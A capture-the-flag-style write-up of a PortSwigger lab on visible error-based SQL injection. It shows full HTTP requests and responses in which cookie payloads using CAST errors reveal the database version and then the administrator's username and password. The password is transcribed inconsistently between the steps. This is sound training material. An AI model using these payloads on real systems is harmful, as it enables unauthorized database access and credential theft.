

Lab: Visible error-based SQL injection

- By adding a ' Single Quote to the TrackingId Parameter in the cookies, The response from that request contains an Error indicating the SQL Query used to check the TrackingId Value.

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab on the left shows an HTTP GET request to `http://0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net`. The 'Cookie' header is modified to `TrackingId=BT3ezCR0uNQQ9wpl'; session=ig9cRebiYrLbW5LZf09hFCsMRwLRMDxe`. The 'Response' tab on the right shows the HTML response. A warning message is visible in the rendered HTML, indicating an 'Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'BT3ezCR0uNQQ9wpl''. Expected char'.

```
Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net
3 Cookie: TrackingId=BT3ezCR0uNQQ9wpl'; session=ig9cRebiYrLbW5LZf09hFCsMRwLRMDxe
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: none
12 Sec-Fetch-User: ?1
13 Priority: u=0, i
14 Te: trailers
15 Connection: keep-alive
16
17

Response
Pretty Raw Hex Render
32 </span>
33 <p> Not solved </p>
34 </div>
35 </div>
36 </div>
37 </section>
38 </div>
39 <div theme="">
40 <section class="maincontainer">
41 <div class="container">
42 <header class="navigation-header">
43 </header>
44 <h4>
45 Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'BT3ezCR0uNQQ9wpl''. Expected char
46 </h4>
47 <p class="is-warning">
48 Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'BT3ezCR0uNQQ9wpl''. Expected char
49 </p>
50 </div>
51 </section>
52 </div>
53 </body>
54 </html>
55
```

- When using this payload (' AND CAST((SELECT 1) AS INT) -- -)

The screenshot displays the Network tab of a web browser's developer tools. The selected request is a GET to `http://0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net`. The Cookie header contains the payload: `TrackingId=BT3ezCR0uNQQ9wpl/ AND CAST((SELECT 1) AS INT) -- -; session=ig9cEebiYrLbWSLZF0ShFCsMrwLRMDxe`. The response is an HTML document from the same host. In the rendered view, an error message is visible: `ERROR: argument of AND must be type boolean, not type integer` at position 63. The error is repeated twice in the response body.

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET / HTTP/2		31	<code></code>
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net			<code>LAB</code>
3 Cookie: TrackingId=BT3ezCR0uNQQ9wpl/ AND CAST((SELECT 1) AS INT) -- -; session=ig9cEebiYrLbWSLZF0ShFCsMrwLRMDxe		32	<code></code>
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0			<code><p></code>
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			<code>Not solved</code>
6 Accept-Language: en-US,en;q=0.5		33	<code></p></code>
7 Accept-Encoding: gzip, deflate, br			<code></code>
8 Upgrade-Insecure-Requests: 1			<code></code>
9 Sec-Fetch-Dest: document		34	<code></div></code>
10 Sec-Fetch-Mode: navigate		35	<code></div></code>
11 Sec-Fetch-Site: none		36	<code></div></code>
12 Sec-Fetch-User: ?1		37	<code></section></code>
13 Priority: u=0, i		38	<code></div></code>
14 Te: trailers		39	<code><div theme=""></code>
		40	<code><section class="maincontainer"></code>
		41	<code><div class="container"></code>
		42	<code><header class="navigation-header"></code>
		43	<code></header></code>
		44	<code><h4></code>
		45	<code>ERROR: argument of AND must be type boolean, not type integer</code>
		46	<code>Position: 63</code>
		47	<code></h4></code>
		48	<code><p class=is-warning></code>
		49	<code>ERROR: argument of AND must be type boolean, not type integer</code>
		50	<code>Position: 63</code>
		51	<code></p></code>
		52	<code></div></code>
		53	<code></section></code>
			<code></div></code>
			<code></body></code>
			<code></html></code>

- So change the payload to be (' AND CAST((SELECT 1) AS INT)=1 -- -), The response status code was "200 ok" which

means that this payload is a valid query.

Request

```
1 GET / HTTP/2
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net
3 Cookie: TrackingId=BT3ezCR0uNqQ9wpl' AND CAST((SELECT 1) AS
4 INT)=1 -- -; session=ig9cEebiYrLbW5LZF09hFCsMrwLRMDxe
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
6 Gecko/20100101 Firefox/135.0
7 Accept:
8 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 Accept-Language: en-US,en;q=0.5
10 Accept-Encoding: gzip, deflate, br
11 Upgrade-Insecure-Requests: 1
12 Sec-Fetch-Dest: document
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-Site: none
15 Sec-Fetch-User: ?1
16 Priority: u=0, i
17 Te: trailers
```

Response

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11341
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
10 /resources/labheader/css/academyLabHeader.css rel=
11 stylesheet>
12 <link href=/resources/css/labsEcommerce.css rel=
13 stylesheet>
14 <title>
15 Visible error-based SQL injection
16 </title>
17 </head>
18 <body>
19 <script src="/resources/labheader/js/labHeader.js">
20 </script>
21 <div id="academyLabHeader">
22   <section class='academyLabBanner'>
23     <div class=container>
24       <div class=logo>
25 </div>
26 <div class=title-container>
27 <h2>
28 Visible error-based SQL
29 injection
30 </h2>
31 <a class=link-back href='
32 https://portswigger.net/web-secur
33 ity/sql-injection/blind/lab-sql-i
34 njection-visible-error-based'>
```

- Use this payload to know the database type and version ('**AND CAST((SELECT version()) AS INT)=1 -- -)**)

Request

```
1 GET / HTTP/2
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net
3 Cookie: TrackingId=BT3ezCR0uNqQ9wpl' AND CAST((SELECT version())
4 AS INT)=1 -- -; session=ig9cEebiYrLbW5LZF09hFCsMrwLRMDxe
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
6 Gecko/20100101 Firefox/135.0
7 Accept:
8 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 Accept-Language: en-US,en;q=0.5
10 Accept-Encoding: gzip, deflate, br
11 Upgrade-Insecure-Requests: 1
12 Sec-Fetch-Dest: document
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-Site: none
15 Sec-Fetch-User: ?1
16 Priority: u=0, i
17 Te: trailers
```

Response

```
1 Not solved
2 <p>
3 <span class=lab-status-icon>
4 </span>
5 </div>
6 </div>
7 </div>
8 </div>
9 <div theme="">
10 <section class="maincontainer">
11 <div class="container">
12 <header class="navigation-header">
13 </header>
14 <h4>
15 ERROR: invalid input syntax for type
16 integer: "PostgreSQL 12.20 (Ubuntu
17 12.20-Uubuntu0.20.04.1) on
18 x86_64-pc-linux-gnu, compiled by gcc (Ubuntu
19 9.4.0-lubuntul-20.04.2) 9.4.0, 64-bit"
20 </h4>
21 <p class=is-warning>
22 ERROR: invalid input syntax for type
23 integer: "PostgreSQL 12.20 (Ubuntu
24 12.20-Uubuntu0.20.04.1) on
25 x86_64-pc-linux-gnu, compiled by gcc (Ubuntu
26 9.4.0-lubuntul-20.04.2) 9.4.0, 64-bit"
27 </p>
28 </div>
29 </section>
30 </div>
31 </body>
32 </html>
```

- Check if administrator username exists (' AND CAST((SELECT username from users limit 1) AS INT)=1-- -)

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET / HTTP/2				30			<div class='widgetcontainer-lab-status is-notsolved'>
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net				31			
3 Cookie: TrackingId=" AND CAST((SELECT username from users limit 1) AS INT)=1-- -; session=ig9cEebiYrLbW5L2F0ShFCsMkwlRMDxe							LAB
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0				32			
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8							<p>
6 Accept-Language: en-US,en;q=0.5							Not solved
7 Accept-Encoding: gzip, deflate, br				33			</p>
8 Upgrade-Insecure-Requests: 1							
9 Sec-Fetch-Dest: document							
10 Sec-Fetch-Mode: navigate				34			</div>
11 Sec-Fetch-Site: none							</div>
12 Sec-Fetch-User: ?1				35			</div>
13 Priority: u=0, i				36			</div>
14 Te: trailers				37			</div>
15				38			<div theme="">
16				39			<section class="maincontainer">
				40			<div class="container">
				41			<header class="navigation-header">
				42			</header>
				43			<h4>
				44			ERROR: invalid input syntax for type integer: "administrator"
				45			</h4>
							<p class=is-warning>
							ERROR: invalid input syntax for type integer: "administrator"
				46			</p>
				47			</div>
				48			</div>
				49			</div>
				50			</div>
				51			</div>

- Retrieve administrator's password (' AND CAST((SELECT password from users limit 1) AS INT)=1-- -)

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET / HTTP/2				30			<div class='widgetcontainer-lab-status is-notsolved'>
2 Host: 0ade00ee04aae2b7e27026e5006a000c.web-security-academy.net				31			
3 Cookie: TrackingId=" AND CAST((SELECT password from users limit 1) AS INT)=1-- -; session=ig9cEebiYrLbW5L2F0ShFCsMkwlRMDxe							LAB
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0				32			
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8							<p>
6 Accept-Language: en-US,en;q=0.5							Not solved
7 Accept-Encoding: gzip, deflate, br				33			</p>
8 Upgrade-Insecure-Requests: 1							
9 Sec-Fetch-Dest: document							
10 Sec-Fetch-Mode: navigate				34			</div>
11 Sec-Fetch-Site: none							</div>
12 Sec-Fetch-User: ?1				35			</div>
13 Priority: u=0, i				36			</div>
14 Te: trailers				37			</div>
15				38			<div theme="">
16				39			<section class="maincontainer">
				40			<div class="container">
				41			<header class="navigation-header">
				42			</header>
				43			<h4>
				44			ERROR: invalid input syntax for type integer: "xm900w3lalpnwcfz9wifj"
				45			</h4>
							<p class=is-warning>
							ERROR: invalid input syntax for type integer: "xm900w3lalpnwcfz9wifj"
				46			</p>
				47			</div>
				48			</div>
				49			</div>
				50			</div>
				51			</div>

- Login using admin credentials (username='administrator', password='xm900w3la1pnwcfz9wfj')



Visible error-based SQL injection

[Back to lab description >>](#)

LAB Solved 

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

[Update email](#)